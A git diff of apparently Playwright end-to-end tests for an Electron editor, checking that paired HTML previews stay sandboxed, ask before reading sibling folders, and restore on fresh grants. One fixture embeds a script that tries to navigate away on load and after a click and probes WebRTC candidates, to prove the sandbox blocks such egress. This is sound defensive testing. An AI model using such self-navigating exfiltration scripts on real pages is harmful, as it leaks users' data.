+      `await pc.setLocalDescription(await pc.createOffer());` +
+      `await new Promise((resolve)=>setTimeout(resolve,2000));` +
+      `out.textContent='candidates='+found.length}` +
+      `catch(error){out.textContent='threw:'+error.name}})()</script>` +
+      `<div id="post-input-egress">idle</div>` +
+      `<div id="scripted-egress">idle</div>` +
+      // Why the document tries to leave by itself: a preview may read its whole grant over
+      // `connect-src 'self'`, so an unattended navigation to an attacker is how those bytes would
+      // get out. It runs on every load here; the baseline browser counts below are the oracle.
+      // Why the second attempt rides a real press: a gate that only asks "was there input
+      // recently" cannot tell that navigation from the click's own effect, so it would route these
+      // bytes out. The document reports having tried, which is the presence half of that oracle.
+      // Why the listener is registered first: setting `location.href` mid-parse stops the parser,
+      // so anything written after this script may never exist.
+      `<script>document.addEventListener('pointerdown',()=>{` +
+      `const out=document.getElementById('post-input-egress');` +
+      `if(out.textContent==='attempted'){return}out.textContent='attempted';` +
+      `try{window.open('${POST_INPUT_EGRESS_URL}','_blank')}catch(error){}` +
+      `location.href='${POST_INPUT_EGRESS_URL}'},true);` +
+      `document.getElementById('scripted-egress').textContent='attempted';` +
+      `try{window.open('${SCRIPTED_EGRESS_URL}','_blank')}catch(error){}` +
+      `location.href='${SCRIPTED_EGRESS_URL}'</script>` +
+      `</body></html>\n`
+  )
+  await waitForSessionReady(orcaPage)
+  await waitForActiveWorktree(orcaPage)
+  await ensureTerminalVisible(orcaPage)
+
+  const offer = await createRuntimeDesktopPairingOffer(orcaPage)
+  const marker = await startClientHostedMarkerFixture()
+  let prepared: PreparedPairedClient | null = null
+  try {
+    prepared = await preparePairedClient(offer, testInfo, 'Remote HTML preview', testRepoPath)
+    const { client, worktreeId, worktreePath } = prepared
+    const page = client.page
+    const docFilePath = path.join(worktreePath, FIXTURE_NAME)
+    const inventoryArgs = { environmentId: client.environmentId, docFilePath, worktreeId }
+
+    const openPreviewToSide = await revealPreviewAction(page, FIXTURE_NAME)
+    const sourceEditor = await page.evaluate((targetWorktreeId) => {
+      const state = window.__store?.getState()
+      const groupId = state?.activeGroupIdByWorktree[targetWorktreeId]
+      const group = (state?.groupsByWorktree[targetWorktreeId] ?? []).find(
+        (candidate) => candidate.id === groupId
+      )
+      const tab = (state?.unifiedTabsByWorktree[targetWorktreeId] ?? []).find(
+        (candidate) => candidate.id === group?.activeTabId && candidate.contentType === 'editor'
+      )
+      return groupId && tab ? { groupId, tabId: tab.id } : null
+    }, worktreeId)
+    if (!sourceEditor) {
+      throw new Error('paired client editor had no source identity before side preview')
+    }
+    const sourceGroupId = sourceEditor.groupId
+
+    await expect
+      .poll(() => readPairedHtmlPreviewInventory(page, inventoryArgs), {
+        timeout: 30_000,
+        message: 'host tab baseline was never successfully observed'
+      })
+      .toMatchObject({ hostResponseOk: true, docWorkspaces: [] })
+    const baseline = await readPairedHtmlPreviewInventory(page, inventoryArgs)
+
+    await openPreviewToSide.click()
+
+    await expect
+      .poll(
+        async () =>
+          (await readPairedHtmlPreviewInventory(page, inventoryArgs)).docWorkspaces.length,
+        { timeout: 60_000, message: 'the document browser tab never materialized' }
+      )
+      .toBe(1)
+
+    // Presence precondition for the absence assertions below: the document really rendered, so a
+    // host page that failed to appear cannot be an artifact of the preview never happening at all.
+    await expect
+      .poll(() => readDocPreviewRenderedText(page, 'h1'), {
+        timeout: 60_000,
+        message: 'the preview guest never rendered the workspace document'
+      })
+      .toBe(FIXTURE_HEADING)
+    const firstGuestUrl = await readDocPreviewGuestUrl(page)
+    expect(firstGuestUrl).toMatch(/^orca-preview:\/\//)
+    // Why a live check: the fence is a main-process call on the guest, and nothing in the served
+    // document or its headers would show whether it took. Gathering nothing is the proof.
+    await expect
+      .poll(() => readDocPreviewRenderedText(page, '#webrtc-probe'), {
+        timeout: 30_000,
+        message: 'the preview document never reported its ICE gathering result'
+      })
+      .toBe('candidates=0')
+
+    // Presence precondition for the unattended-egress half of the oracle: without it, counts that
+    // held at baseline could just as well mean the document never ran its attempt.
+    await expect
+      .poll(() => readDocPreviewRenderedText(page, '#scripted-egress'), {
+        timeout: 30_000,
+        message: 'the preview document never attempted its unattended egress'
+      })
+      .toBe('attempted')
+
+    const afterPreview = await readPairedHtmlPreviewInventory(page, inventoryArgs)
+    const previewRow = requireSingleDocWorkspace(afterPreview)
+    // The client gains exactly one workspace, and it is the document one: located by the file,
+    // blank where a URL would be, and named by what the document calls itself.
+    expect(afterPreview.clientBrowserWorkspaceCount).toBe(baseline.clientBrowserWorkspaceCount + 1)
+    expect({
+      pageUrl: previewRow.pageUrl,
+      title: previewRow.title,
+      workspaceDocFilePath: previewRow.workspaceDocFilePath,
+      workspaceUrl: previewRow.workspaceUrl
+    }).toEqual({
+      pageUrl: BLANK_PAGE_URL,
+      title: FIXTURE_TITLE,
+      workspaceDocFilePath: docFilePath,
+      workspaceUrl: BLANK_PAGE_URL
+    })
+    // The preview species that lived in the editor is gone; a restore or an action resurrecting
+    // one would put an `html-preview::` row back here.
+    expect(afterPreview.htmlPreviewEditorFileIds).toEqual([])
+    expect(previewRow.groupId).not.toBe(sourceGroupId)
+    // The document has already run its unattended `window.open` and `location.href` by now, since
+    // the heading it painted comes after them: the host holding still is that egress reaching
+    // nothing, and the preview itself never being published is the grant never riding the wire.
+    expect(afterPreview.hostBrowserPages).toEqual(baseline.hostBrowserPages)
+    expect(afterPreview.hostSessionBrowserTabs).toEqual(baseline.hostSessionBrowserTabs)
+
+    // The chip stands in for the address bar the document page has none of, and keeps naming the
+    // file whatever the document calls itself.
+    const pathChip = page.getByRole('button', { name: 'Copy file path', exact: true })
+    await expect(pathChip).toBeVisible({ timeout: 30_000 })
+    await expect(pathChip).toContainText(FIXTURE_NAME)
+    // Below 24rem of chip width the identity row hides whole instead of clipping into slivers;
+    // when it shows, the badge must sit inside the chip's own layout box. Which arm runs depends
+    // on how much width this platform's toolbar leaves the chip — both are the contract.
+    const hostBadge = pathChip.locator('[data-slot="badge"]')
+    const pathChipBox = await pathChip.boundingBox()
+    expect(pathChipBox).not.toBeNull()
+    if (await hostBadge.isVisible()) {
+      const hostBadgeBox = await hostBadge.boundingBox()
+      expect(hostBadgeBox).not.toBeNull()
+      expect((hostBadgeBox?.x ?? 0) + (hostBadgeBox?.width ?? 0)).toBeLessThanOrEqual(
+        (pathChipBox?.x ?? 0) + (pathChipBox?.width ?? 0) + 0.5
+      )
+    } else {
+      // A chip too narrow for the identity row hides it whole; a wide one must show it. 26rem of
+      // border-box width clears the 24rem content-box container threshold plus padding.
+      expect(pathChipBox?.width ?? 0).toBeLessThan(416)
+    }
+
+    await expect(page.locator(`[data-tab-group-body-id="${sourceGroupId}"]`)).toBeVisible()
+    await expect(page.locator(`[data-tab-group-body-id="${previewRow.groupId}"]`)).toBeVisible()
+    await expect(page.locator(`[data-tab-id="${sourceEditor.tabId}"]`)).toBeVisible()
+
+    // Creating the preview must not move focus: the user stays in the source editor and the
+    // preview merely occupies its own split, which is where an explicit click sends them.
+    await expect
+      .poll(
+        () =>
+          page.evaluate(
+            ({ previewGroupId, worktreeId: targetWorktreeId }) => {
+              const state = window.__store?.getState()
+              const groups = state?.groupsByWorktree[targetWorktreeId] ?? []
+              const activeGroup = groups.find(
+                (group) => group.id === state?.activeGroupIdByWorktree[targetWorktreeId]
+              )
+              return {
+                activeGroupId: activeGroup?.id ?? null,
+                activeTabId: activeGroup?.activeTabId ?? null,
+                activeTabType: state?.activeTabTypeByWorktree[targetWorktreeId] ?? null,
+                previewGroupActiveTabId:
+                  groups.find((group) => group.id === previewGroupId)?.activeTabId ?? null
+              }
+            },
+            { previewGroupId: previewRow.groupId, worktreeId }
+          ),
+        { timeout: 30_000, message: 'preview placement never settled' }
+      )
+      .toEqual({
+        activeGroupId: sourceGroupId,
+        activeTabId: sourceEditor.tabId,
+        activeTabType: 'editor',
+        previewGroupActiveTabId: previewRow.unifiedTabId
+      })
+
+    const terminalTabId = await page.evaluate((targetWorktreeId) => {
+      const state = window.__store?.getState()
+      return state?.tabsByWorktree[targetWorktreeId]?.[0]?.id ?? null
+    }, worktreeId)
+    if (!terminalTabId) {
+      throw new Error('paired client lost its terminal tab')
+    }
+    await page.locator(`[data-tab-id="${terminalTabId}"]`).click()
+    await expect
+      .poll(
+        () =>
+          page.evaluate((targetWorktreeId) => {
+            const state = window.__store?.getState()
+            return state?.activeTabTypeByWorktree[targetWorktreeId] ?? null
+          }, worktreeId),
+        { message: 'terminal tab never became active before returning to the preview' }
+      )
+      .toBe('terminal')
+
+    // Why the workspace id and not the unified tab id: a browser row's tab element is keyed by the
+    // workspace, which is the row the tab strip renders and the X closes.
+    const previewTab = page.locator(`[data-tab-id="${previewRow.workspaceId}"]`)
+    await previewTab.click()
+    await expect
+      .poll(
+        () =>
+          page.evaluate(
+            ({ previewTabId, worktreeId: targetWorktreeId }) => {
+              const state = window.__store?.getState()
+              const activeGroup = (state?.groupsByWorktree[targetWorktreeId] ?? []).find(
+                (group) => group.id === state?.activeGroupIdByWorktree[targetWorktreeId]
+              )
+              return activeGroup?.activeTabId === previewTabId
+            },
+            { previewTabId: previewRow.unifiedTabId, worktreeId }
+          ),
+        { timeout: 30_000, message: 'clicking the preview tab did not reactivate it' }
+      )
+      .toBe(true)
+    expect(await readDocPreviewRenderedText(page, 'h1')).toBe(FIXTURE_HEADING)
+
+    // The presence half of the host oracle, through the very oracle the absence half was read
+    // from: an ordinary URL tab this same client opens does reach the host's page registry.
+    await page.evaluate(async (url) => {
+      const state = window.__store?.getState()
+      const worktreeId = state?.activeWorktreeId
+      const groupId = worktreeId ? state?.activeGroupIdByWorktree[worktreeId] : null
+      if (!state || !groupId) {
+        throw new Error('paired client had no active group to open a browser tab in')
+      }
+      state.setBrowserDefaultUrl(url)
+      await state.openNewBrowserTabInActiveWorkspace(groupId)
+    }, marker.markerUrl)
+    await expect
+      .poll(
+        async () =>
+          (await readPairedHtmlPreviewInventory(page, inventoryArgs)).hostBrowserPages.filter(
+            (hostPage) => hostPage.url.startsWith(marker.origin)
+          ).length,
+        {
+          timeout: 60_000,
+          message: 'a plain URL browser tab from this client never reached the host page registry'
+        }
+      )
+      .toBe(1)
+    const withMarker = await readPairedHtmlPreviewInventory(page, inventoryArgs)
+    // The same presence precondition for the snapshot half: this host does project a browser tab
+    // the client published into `session.tabs.list`, so the preview's absence from it is a
+    // decision and not the snapshot's blindness.
+    expect(
+      withMarker.hostSessionBrowserTabs.filter((tab) => tab.url.startsWith(marker.origin))
+    ).toHaveLength(1)
+    // Nothing the host now holds names the preview: not its document, and not the grant URL the
+    // document is served over.
+    expect(
+      withMarker.hostBrowserPages.filter(
+        (hostPage) =>
+          hostPage.url.includes('orca-preview:') ||
+          hostPage.url.includes(FIXTURE_NAME) ||
+          hostPage.title === FIXTURE_TITLE
+      )
+    ).toEqual([])
+    expect(withMarker.docWorkspaces).toHaveLength(1)
+
+    // Why the URL tab goes away again before the rest of the journey: it is hosted on this desktop,
+    // so it holds an offscreen window of its own, and the front-most window is what the trusted
+    // click policy below is read from. Its close is also the converse oracle — a browser tab that
+    // did reach the host leaves it again, while the preview was never there to leave.
+    await page.evaluate((origin) => {
+      const state = window.__store?.getState()
+      const worktreeId = state?.activeWorktreeId
+      for (const workspace of state?.browserTabsByWorktree[worktreeId ?? ''] ?? []) {
+        const pages = state?.browserPagesByWorkspace[workspace.id] ?? []
+        if (pages.some((browserPage) => browserPage.url.startsWith(origin))) {
+          state?.closeBrowserTab(workspace.id)
+        }
+      }
+    }, marker.origin)
+    await expect
+      .poll(
+        async () =>
+          (await readPairedHtmlPreviewInventory(page, inventoryArgs)).hostBrowserPages.length,
+        { timeout: 60_000, message: 'closing the URL tab never reached the host page registry' }
+      )
+      .toBe(baseline.hostBrowserPages.length)
+
+    await previewTab.hover()
+    // The row's only button is its X, which is the product close for a browser tab.
+    await previewTab.locator('button').click()
+    await expect
+      .poll(
+        async () => {
+          const closed = await readPairedHtmlPreviewInventory(page, inventoryArgs)
+          return {
+            docWorkspaces: closed.docWorkspaces.length,
+            hostBrowserPages: closed.hostBrowserPages.length,
+            sourceGroupPresent: await page.evaluate(
+              ({ groupId, worktreeId: targetWorktreeId }) =>
+                (window.__store?.getState()?.groupsByWorktree[targetWorktreeId] ?? []).some(
+                  (group) => group.id === groupId
+                ),
+              { groupId: sourceGroupId, worktreeId }
+            )
+          }
+        },
+        { timeout: 30_000, message: 'closing the preview did not converge' }
+      )
+      .toEqual({
+        docWorkspaces: 0,
+        hostBrowserPages: baseline.hostBrowserPages.length,
+        sourceGroupPresent: true
+      })
+    await expect(previewTab).toHaveCount(0)
+    await expect(page.locator(`[data-tab-id="${terminalTabId}"]`)).toBeVisible()
+    // Why: the last activation was the preview, so the editor has to be selected again before its
+    // pane mounts — the point is that closing the preview left a working editor behind.
+    await page.locator(`[data-tab-id="${sourceEditor.tabId}"]`).click()
+    await expect(
+      page.locator(`[data-tab-group-body-id="${sourceGroupId}"] .monaco-editor`)
+    ).toBeVisible({ timeout: 30_000 })
+
+    // Why this runs last: it is the one step that is supposed to create a browser tab, so it
+    // cannot share a run phase with the no-new-browser oracle above. Only a real mouse press
+    // produces the trusted event the guest's preload will report; nothing the document dispatches
+    // does.
+    const reopenPreview = await revealPreviewAction(page, FIXTURE_NAME)
+    await reopenPreview.click()
+    await expect
+      .poll(
+        async () =>
+          (await readPairedHtmlPreviewInventory(page, inventoryArgs)).docWorkspaces.length,
+        { timeout: 60_000, message: 'the preview never came back after being closed' }
+      )
+      .toBe(1)
+    // Why the explicit focus: the preview opens beside the editor without taking focus, so its pane
+    // has no layout yet — and a press needs a rect, not just a rendered document.
+    const reopenedRow = requireSingleDocWorkspace(
+      await readPairedHtmlPreviewInventory(page, inventoryArgs)
+    )
+    await focusBrowserWorkspace(page, worktreeId, reopenedRow.workspaceId)
+    await page.locator(`[data-tab-id="${reopenedRow.workspaceId}"]`).click()
+    await expect
+      .poll(() => readDocPreviewRenderedText(page, 'h1'), {
+        timeout: 60_000,
+        message: 'the reopened preview never rendered before the external link click'
+      })
+      .toBe(FIXTURE_HEADING)
+    // One guest, laid out: a preview the close left behind, or a pane that never came to the
+    // front, would answer the press with a rect nothing can be clicked at.
+    const guestRects = await readDocPreviewGuestRects(page)
+    expect(guestRects).toHaveLength(1)
+    expect(guestRects[0]?.width).toBeGreaterThan(0)
+    expect(guestRects[0]?.hiddenAncestor).toBe(false)
+    // Why poll rather than read once: the helper only answers once the guest's own hit test lands
+    // on the link, so the press cannot chase a rect that layout is still settling.
+    await expect
+      .poll(() => readDocPreviewElementCenter(page, '#external'), {
+        timeout: 30_000,
+        message: 'the external link never settled at a clickable point in the preview guest'
+      })
+      .not.toBeNull()
+    // Why record the routing call: the click crosses into a guest process, so a bare "no tab
+    // appeared" cannot say whether the press was swallowed before the handler or the tab was
+    // refused after it. The recorded calls make the failure name itself.
+    await armPairedHtmlPreviewLinkRouting(page)
+    // Why the window has to come to the front: main routes a reported click only from the contents
+    // the reader is looking at, and this client is launched hidden and behind everything.
+    expect(await focusPairedClientWindow(client)).toMatchObject({
+      isFocused: true,
+      isVisible: true
+    })
+    // Why before the heading press: that press is what the document rides, so a baseline taken
+    // after it would absorb any tab the document opened on the back of it.
+    const linkBaseline = await readPairedHtmlPreviewInventory(page, inventoryArgs)
+    // Why the heading click first: focus has to be on the guest itself, not merely on the window
+    // that hosts it, before the press on the link is one main will answer.
+    // Why press until the document answers rather than once: until a freshly attached guest
+    // registers its own hit-test region, the browser resolves a press over it to the embedder,
+    // where it lands on the `webview` element and never enters the document. Observed on Linux
+    // under software compositing; a later press routes normally with nothing else changed.
+    // Presence precondition for the baseline below: the document really did try to leave on the
+    // back of a genuine press, rather than never running its attempt at all.
+    await expect
+      .poll(
+        async () => {
+          if ((await readDocPreviewRenderedText(page, '#post-input-egress')) !== 'attempted') {
+            const headingPoint = await readDocPreviewElementCenter(page, 'h1')
+            if (headingPoint) {
+              await page.mouse.click(headingPoint.x, headingPoint.y)
+            }
+          }
+          return readDocPreviewRenderedText(page, '#post-input-egress')
+        },
+        {
+          timeout: 30_000,
+          intervals: [1_000],
+          message: 'the preview document never attempted its post-input egress'
+        }
+      )
+      .toBe('attempted')
+    const afterGenuineInput = await readPairedHtmlPreviewInventory(page, inventoryArgs)
+    expect({
+      clientBrowserWorkspaceCountAllWorktrees:
+        afterGenuineInput.clientBrowserWorkspaceCountAllWorktrees,
+      hostBrowserPages: afterGenuineInput.hostBrowserPages.length,
+      routedCalls: await readPairedHtmlPreviewLinkRouting(page)
+    }).toEqual({
+      clientBrowserWorkspaceCountAllWorktrees: linkBaseline.clientBrowserWorkspaceCountAllWorktrees,
+      hostBrowserPages: linkBaseline.hostBrowserPages.length,
+      routedCalls: []
+    })
+    const guestFocus = await page.evaluate(() => {
+      const active = document.activeElement
+      const guest = document.querySelector('webview[src^="orca-preview://"]') as HTMLElement | null
+      const before = active?.tagName ?? null
+      guest?.focus()
+      return { before, after: document.activeElement?.tagName ?? null }
+    })
+    console.log(`[preview-e2e] before-focus ${JSON.stringify(guestFocus)}`)
+    const confirmationTitle = page.getByRole('heading', { name: 'Open link to example.com?' })
+    await expect
+      .poll(
+        async () => {
+          if (!(await confirmationTitle.isVisible())) {
+            const point = await readDocPreviewElementCenter(page, '#external')
+            if (point) {
+              await page.mouse.click(point.x, point.y)
+            }
+          }
+          return confirmationTitle.isVisible()
+        },
+        {
+          timeout: 60_000,
+          intervals: [2_000],
+          message: 'a target=_blank click never showed its destination confirmation'
+        }
+      )
+      .toBe(true)
+    await expect(page.getByText(EXTERNAL_LINK_URL, { exact: true })).toBeVisible()
+    await page.getByRole('button', { name: 'Cancel', exact: true }).click()
+    await expect(confirmationTitle).not.toBeVisible()
+    const afterCancel = await readPairedHtmlPreviewInventory(page, inventoryArgs)
+    expect({
+      routedCalls: await readPairedHtmlPreviewLinkRouting(page),
+      browserCount: afterCancel.clientBrowserWorkspaceCountAllWorktrees
+    }).toEqual({
+      routedCalls: [],
+      browserCount: linkBaseline.clientBrowserWorkspaceCountAllWorktrees
+    })
+
+    try {
+      const point = await readDocPreviewElementCenter(page, '#external')
+      if (!point) {
+        throw new Error('external link lost its clickable point after cancellation')
+      }
+      await page.mouse.click(point.x, point.y)
+      await expect(confirmationTitle).toBeVisible({ timeout: 30_000 })
+      await page.getByRole('button', { name: 'Open link', exact: true }).click()
+      await expect
+        .poll(
+          async () => {
+            const opened = await readPairedHtmlPreviewInventory(page, inventoryArgs)
+            return {
+              routedCalls: await readPairedHtmlPreviewLinkRouting(page),
+              docWorkspaces: opened.docWorkspaces.length,
+              linkClicks: await readDocPreviewRenderedText(page, '#link-clicks'),
+              openedTab:
+                opened.clientBrowserWorkspaceCountAllWorktrees >
+                linkBaseline.clientBrowserWorkspaceCountAllWorktrees
+            }
+          },
+          {
+            timeout: 60_000,
+            intervals: [2_000],
+            message: 'a confirmed preview link never opened an Orca browser tab'
+          }
+        )
+        .toMatchObject({
+          openedTab: true,
+          // Why assert the preview survived: the link leaves the preview for a browser tab; it must
+          // not navigate or close the document the user is reading.
+          docWorkspaces: 1,
+          routedCalls: [{ url: EXTERNAL_LINK_URL, opened: true }]
+        })
+    } catch (error) {
+      throw new Error(
+        `${String(error)} :: ${JSON.stringify({ linkClicks: await readDocPreviewRenderedText(page, '#link-clicks'), point: await readDocPreviewElementCenter(page, '#external'), rects: await readDocPreviewGuestRects(page) })}`
+      )
+    }
+  } finally {
+    await prepared?.client.dispose()
+    await marker.close()
+  }
+})
+
+test('asks before a paired preview reads a sibling directory', async ({
+  orcaPage,
+  testRepoPath
+}, testInfo) => {
+  test.setTimeout(300_000)
+  const docsDirectory = path.join(testRepoPath, 'preview-docs')
+  const assetsDirectory = path.join(testRepoPath, 'preview-assets')
+  mkdirSync(docsDirectory, { recursive: true })
+  mkdirSync(assetsDirectory, { recursive: true })
+  writeFileSync(
+    path.join(docsDirectory, SCOPED_FIXTURE_NAME),
+    `<!doctype html><html><head><title>Scoped Preview</title></head><body>` +
+      `<h1>${SCOPED_FIXTURE_HEADING}</h1><div id="asset-result">blocked</div>` +
+      `<script src="../preview-assets/scoped-preview.js"></script></body></html>\n`
+  )
+  writeFileSync(
+    path.join(assetsDirectory, 'scoped-preview.js'),
+    `document.getElementById('asset-result').textContent=${JSON.stringify(SCOPED_ASSET_TEXT)}\n`
+  )
+  await waitForSessionReady(orcaPage)
+  await waitForActiveWorktree(orcaPage)
+  await ensureTerminalVisible(orcaPage)
+
+  const offer = await createRuntimeDesktopPairingOffer(orcaPage)
+  let prepared: PreparedPairedClient | null = null
+  try {
+    prepared = await preparePairedClient(offer, testInfo, 'Scoped HTML preview', testRepoPath)
+    const { client, worktreeId, worktreePath } = prepared
+    const page = client.page
+    const docFilePath = path.join(worktreePath, 'preview-docs', SCOPED_FIXTURE_NAME)
+    await page.evaluate(
+      ({ environmentId, filePath, relativePath, targetWorktreeId }) => {
+        window.__store?.getState().openFile(
+          {
+            filePath,
+            relativePath,
+            worktreeId: targetWorktreeId,
+            language: 'html',
+            runtimeEnvironmentId: environmentId,
+            mode: 'edit'
+          },
+          { preview: false, focusEditor: true }
+        )
+      },
+      {
+        environmentId: client.environmentId,
+        filePath: docFilePath,
+        relativePath: `preview-docs/${SCOPED_FIXTURE_NAME}`,
+        targetWorktreeId: worktreeId
+      }
+    )
+    const openPreviewToSide = page.getByRole('button', { name: 'Open Preview to the Side' })
+    await expect(openPreviewToSide).toBeVisible({ timeout: 30_000 })
+    await openPreviewToSide.click()
+    await expect
+      .poll(() => readDocPreviewRenderedText(page, 'h1'), {
+        timeout: 60_000,
+        message: 'the scoped preview document never rendered'
+      })
+      .toBe(SCOPED_FIXTURE_HEADING)
+
+    const workspace = await page.evaluate((targetWorktreeId) => {
+      const state = window.__store?.getState()
+      return (state?.browserTabsByWorktree[targetWorktreeId] ?? []).find((candidate) =>
+        candidate.docLocation?.filePath.endsWith('/scoped-preview.html')
+      )?.id
+    }, worktreeId)
+    if (!workspace) {
+      throw new Error('scoped preview had no document browser workspace')
+    }
+    await focusBrowserWorkspace(page, worktreeId, workspace)
+    await page.locator(`[data-tab-id="${workspace}"]`).click()
+
+    await expect(page.getByText('This preview wants to read files in preview-assets.')).toBeVisible(
+      {
+        timeout: 30_000
+      }
+    )
+    await expect.poll(() => readDocPreviewRenderedText(page, '#asset-result')).toBe('blocked')
+    await page.getByRole('button', { name: 'Allow folder', exact: true }).click()
+    await expect(
+      page.getByText('This preview wants to read files in preview-assets.')
+    ).not.toBeVisible()
+    await expect
+      .poll(() => readDocPreviewRenderedText(page, '#asset-result'), {
+        timeout: 60_000,
+        message: 'the approved sibling asset never loaded after reload'
+      })
+      .toBe(SCOPED_ASSET_TEXT)
+  } finally {
+    await prepared?.client.dispose()
+  }
+})
+
+/**
+ * A document tab is a browser tab, so it comes back the way one does. What it may not do is come
+ * back holding yesterday's grant: the URL it is served over is minted fresh by the client that
+ * restores it, which is why the restored guest's URL must differ from the one that was quit.
+ */
+test('restores the document tab, on a fresh grant, after the client quits and relaunches', async ({
+  orcaPage,
+  testRepoPath
+}, testInfo) => {
+  test.setTimeout(300_000)
+  writeFileSync(
+    path.join(testRepoPath, RESTORE_FIXTURE_NAME),
+    `<!doctype html><html><head><title>${RESTORE_FIXTURE_TITLE}</title></head>` +
+      `<body><h1>${RESTORE_FIXTURE_HEADING}</h1></body></html>\n`
+  )
+  await waitForSessionReady(orcaPage)
+  await waitForActiveWorktree(orcaPage)
+  await ensureTerminalVisible(orcaPage)
+
+  const offer = await createRuntimeDesktopPairingOffer(orcaPage)
+  let prepared: PreparedPairedClient | null = null
+  let abandonedProfile: string | null = null
+  try {
+    prepared = await preparePairedClient(offer, testInfo, 'Preview restore', testRepoPath)
+    const profileDir = prepared.client.userDataDir
+    const { worktreeId, worktreePath } = prepared
+    const docFilePath = path.join(worktreePath, RESTORE_FIXTURE_NAME)
+    const inventoryArgs = {
+      environmentId: prepared.client.environmentId,
+      docFilePath,
+      worktreeId
+    }
+
+    const openPreviewToSide = await revealPreviewAction(prepared.client.page, RESTORE_FIXTURE_NAME)
+    await openPreviewToSide.click()
+    await expect
+      .poll(() => readDocPreviewRenderedText(prepared!.client.page, 'h1'), {
+        timeout: 60_000,
+        message: 'the preview guest never rendered the document before the quit'
+      })
+      .toBe(RESTORE_FIXTURE_HEADING)
+    const beforeQuit = await readPairedHtmlPreviewInventory(prepared.client.page, inventoryArgs)
+    const quitRow = requireSingleDocWorkspace(beforeQuit)
+    const guestUrlBeforeQuit = await readDocPreviewGuestUrl(prepared.client.page)
+    expect(guestUrlBeforeQuit).toMatch(/^orca-preview:\/\//)
+
+    // Quit without disposing: the profile has to outlive the app, as it does for a real Cmd+Q.
+    const quitting = prepared.client.app
+    prepared = null
+    abandonedProfile = profileDir
+    await closeElectronAppForE2E(quitting)
+
+    prepared = await preparePairedClient(offer, testInfo, 'Preview restore', testRepoPath, {
+      reuseUserDataDir: profileDir
+    })
+    abandonedProfile = null
+    const relaunched = prepared.client.page
+    const relaunchedArgs = {
+      environmentId: prepared.client.environmentId,
+      docFilePath,
+      worktreeId: prepared.worktreeId
+    }
+    await expect
+      .poll(
+        async () =>
+          (await readPairedHtmlPreviewInventory(relaunched, relaunchedArgs)).docWorkspaces.length,
+        { timeout: 120_000, message: 'the relaunched client never restored the document tab' }
+      )
+      .toBe(1)
+    const restored = requireSingleDocWorkspace(
+      await readPairedHtmlPreviewInventory(relaunched, relaunchedArgs)
+    )
+    expect({
+      pageUrl: restored.pageUrl,
+      title: restored.title,
+      workspaceDocFilePath: restored.workspaceDocFilePath
+    }).toEqual({
+      pageUrl: BLANK_PAGE_URL,
+      title: RESTORE_FIXTURE_TITLE,
+      workspaceDocFilePath: docFilePath
+    })
+    // A restore has to bring back the tab the reader had, not a fresh one that happens to show the
+    // same document — the row is the same row it was created as.
+    expect(restored.workspaceId).toBe(quitRow.workspaceId)
+
+    await focusBrowserWorkspace(relaunched, prepared.worktreeId, restored.workspaceId)
+    await expect
+      .poll(() => readDocPreviewRenderedText(relaunched, 'h1'), {
+        timeout: 120_000,
+        message: 'the restored document tab never rendered its document again'
+      })
+      .toBe(RESTORE_FIXTURE_HEADING)
+    const guestUrlAfterRestore = await readDocPreviewGuestUrl(relaunched)
+    expect(guestUrlAfterRestore).toMatch(/^orca-preview:\/\//)
+    // The grant is minted by the client that mounts the page, so a restore that carried the old
+    // URL back in — from disk or from the host — would show the same one here.
+    expect(guestUrlAfterRestore).not.toBe(guestUrlBeforeQuit)
+    const afterRestore = await readPairedHtmlPreviewInventory(relaunched, relaunchedArgs)
+    expect(afterRestore.htmlPreviewEditorFileIds).toEqual([])
+    expect(
+      afterRestore.hostBrowserPages.filter(
+        (hostPage) =>
+          hostPage.url.includes('orca-preview:') || hostPage.url.includes(RESTORE_FIXTURE_NAME)
+      )
+    ).toEqual([])
+  } finally {
+    await prepared?.client.dispose()
+    if (abandonedProfile) {
+      await cleanupE2EDaemons(abandonedProfile).catch(() => undefined)
+    }
+  }
+})
diff --git a/tests/e2e/ssh-cold-activation-restore.spec.ts b/tests/e2e/ssh-cold-activation-restore.spec.ts
index f49ad210c0b..844074c092f 100644
--- a/tests/e2e/ssh-cold-activation-restore.spec.ts
+++ b/tests/e2e/ssh-cold-activation-restore.spec.ts
@@ -1,4 +1,4 @@
-import type { ElectronApplication, Page } from '@stablyai/playwright-test'
+import type { ElectronApplication } from '@stablyai/playwright-test'
 import { test, expect } from './helpers/orca-app'
 import { waitForActiveWorktree, waitForSessionReady } from './helpers/store'
 import {
@@ -6,6 +6,10 @@ import {
   waitForActivePanePtyId,
   waitForActiveTerminalManager
 } from './helpers/terminal'
+import {
+  createRemoteTerminalTab,
+  readRemoteTerminalTabs
+} from './helpers/docker-ssh-relay-terminal-tabs'
 import {
   cleanupDockerSshRelayTarget,
   DOCKER_SSH_RELAY_REMOTE_REPO_PATH,
@@ -21,40 +25,6 @@ const TAB_COUNT = 6
 
 test.use({ seedTestRepo: false })
 
-async function createRemoteTerminalTab(page: Page, worktreeId: string): Promise<void> {
-  const tabId = await page.evaluate((id) => {
-    const state = window.__store?.getState()
-    if (!state) {
-      throw new Error('Store unavailable')
-    }
-    const tab = state.createTab(id, undefined, undefined, { activate: true })
-    state.setActiveTab(tab.id)
-    state.setActiveTabType('terminal')
-    return tab.id
-  }, worktreeId)
-  await expect
-    .poll(() => page.evaluate(() => window.__store?.getState().activeTabId ?? null), {
-      timeout: 10_000
-    })
-    .toBe(tabId)
-  await waitForActiveTerminalManager(page, 60_000)
-  await waitForActivePanePtyId(page, 60_000)
-}
-
-async function readRemoteTerminalTabs(
-  page: Page,
-  worktreeId: string
-): Promise<{ id: string; ptyId: string | null }[]> {
-  return page.evaluate(
-    (id) =>
-      (window.__store?.getState().tabsByWorktree[id] ?? []).map((tab) => ({
-        id: tab.id,
-        ptyId: tab.ptyId
-      })),
-    worktreeId
-  )
-}
-
 function readRemoteProof(target: DockerSshRelayTarget, path: string): string | null {
   try {
     return execDockerSshRelayTargetCommand(target, `cat ${path}`)
diff --git a/tests/e2e/ssh-cold-hydration-gap-tab-seeding.spec.ts b/tests/e2e/ssh-cold-hydration-gap-tab-seeding.spec.ts
new file mode 100644
index 00000000000..fa66a0893c6
--- /dev/null
+++ b/tests/e2e/ssh-cold-hydration-gap-tab-seeding.spec.ts
@@ -0,0 +1,316 @@
+import { spawnSync } from 'node:child_process'
+import type { ElectronApplication, Page } from '@stablyai/playwright-test'
+import { test, expect } from './helpers/orca-app'
+import { waitForActiveWorktree, waitForSessionReady } from './helpers/store'
+import { waitForActivePanePtyId, waitForActiveTerminalManager } from './helpers/terminal'
+import { createRemoteTerminalTab } from './helpers/docker-ssh-relay-terminal-tabs'
+import {
